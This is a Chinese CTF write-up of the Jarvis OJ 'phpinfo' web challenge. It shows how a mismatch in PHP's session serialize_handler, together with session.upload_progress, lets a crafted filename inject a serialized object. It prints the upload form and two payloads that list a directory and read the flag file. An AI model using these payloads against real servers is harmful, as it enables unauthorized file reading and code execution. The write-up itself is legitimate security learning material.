zoukankan      html  css  js  c++  java
  • Jarvisoj-web phpinfo

    题目入口:http://web.jarvisoj.com:32784/

    一进来就看到源码
    在这里插入图片描述

    简单分析之后知道考点是反序列化,注意到了关键字session_start(),这个函数是用于创建会话。但具体如何利用还是没有头绪。搜索了一下发现是考察关于session序列化选择器的漏洞。

    具体原理可参考:https://www.cnblogs.com/sijidou/p/10455646.html

    传入phpinfo参数查看phpinfo,找到了重要的参数
    在这里插入图片描述百度了一下该参数

    也就是说,可以利用session.upload_progress.enabled构造相应表单来上传文件。因为session.upload_progress.enabled=on,所以我们就可以post一个和session.upload_progress.name同名的变量,来使得我们上传的文件名写入session。。

    <html>
    <head>
        <title>upload</title>
    </head>
    <body>
        <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctyp>
            <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
            <input type="file" name="file" />
            <input type="submit" />
        </form>
    </body>
    </html>

    借鉴了其他大佬构造的表单,注意PHP_SESSION_UPLOAD_PROGRESS值不能为0。

    随便上传个文件,bp抓包

    修改filename,插入payload

    payload:|O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}

    为何payload是这样的呢?这就是第二个关键点

    session.serialize_handler决定了php存储session时用的序列化规则格式,而index.php设置php的handler和默认的php_serialize不同,所以出现问题。php_serialize存储的字符可以引入 "|" ,但以php格式取出时"|"会被当成键值对的分隔符。""将双引号转移,物理路径在phpinfo可以找到

    再次构造payload:|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}

    返回flag。

    虽然大致原理明白了,但还是有点懵。。。。。。。。。

  • 相关阅读:
    安装pykeyboard模块
    Windows Defender Antivirus Service经常性出现占用CPU厉害
    Xpath 语法笔记
    通过docker部署rocketmq双主双从集群
    解决提取Mybatis多数据源公共组件“At least one base package must be specified”的问题
    设计模式-单例模式
    通过阳历生日计算星座,阴历生日,生辰八字,生肖五行
    设计模式-抽象工厂模式
    设计模式-工厂方法模式
    常用的MD5工具类
  • 原文地址:https://www.cnblogs.com/remon535/p/12542330.html
Copyright © 2011-2022 走看看